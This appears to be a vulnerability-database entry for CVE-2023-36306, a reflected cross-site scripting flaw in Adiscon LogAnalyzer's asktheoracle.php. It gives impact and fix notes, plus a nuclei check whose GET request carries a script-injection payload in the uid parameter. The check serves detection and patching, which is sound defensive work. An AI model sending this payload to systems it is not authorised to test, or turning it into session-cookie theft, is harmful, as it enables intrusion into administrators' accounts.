HexBrain

Browse / CVEs / CVE-2023-36306

CVE-2023-36306· adiscon / loganalyzer· CWE-79

Adiscon LogAnalyzer v.4.1.13 - Cross-Site Scripting

mediumseverity
6.1CVSS score
5.3%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

A Cross Site Scripting (XSS) vulnerability in Adiscon Aiscon LogAnalyzer through 4.1.13 allows a remote attacker to execute arbitrary code via the asktheoracle.php

Impact

Unauthenticated attackers can inject malicious JavaScript through the uid parameter in asktheoracle.php, potentially stealing administrator session cookies and accessing sensitive log analysis data.

Fix

Update Adiscon LogAnalyzer to a version newer than 4.1.13 that properly sanitizes the uid parameter and encodes output in asktheoracle.php.

How to confirm it

Send: GET {{BaseURL}}/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "><script>alert(document.domain)</script>") && contains(body, "Adiscon LogAnalyzer")

Run it with nuclei: nuclei -id CVE-2023-36306 -u <target>

The full check
id: CVE-2023-36306

info:
  name: Adiscon LogAnalyzer v.4.1.13 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A Cross Site Scripting (XSS) vulnerability in Adiscon Aiscon LogAnalyzer through 4.1.13 allows a remote attacker to execute arbitrary code via the asktheoracle.php
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the uid parameter in asktheoracle.php, potentially stealing administrator session cookies and accessing sensitive log analysis data.
  remediation: |
    Update Adiscon LogAnalyzer to a version newer than 4.1.13 that properly sanitizes the uid parameter and encodes output in asktheoracle.php.
  reference:
    - https://www.exploit-db.com/exploits/51643
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36306
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-36306
    cwe-id: CWE-79
    epss-score: 0.05313
    epss-percentile: 0.92664
    cpe: cpe:2.3:a:adiscon:loganalyzer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adiscon
    product: loganalyzer
  tags: cve2023,cve,xss,unauth,exploitdb,adiscon,adiscon-loganalyzer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><script>alert(document.domain)</script>") && contains(body, "Adiscon LogAnalyzer")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from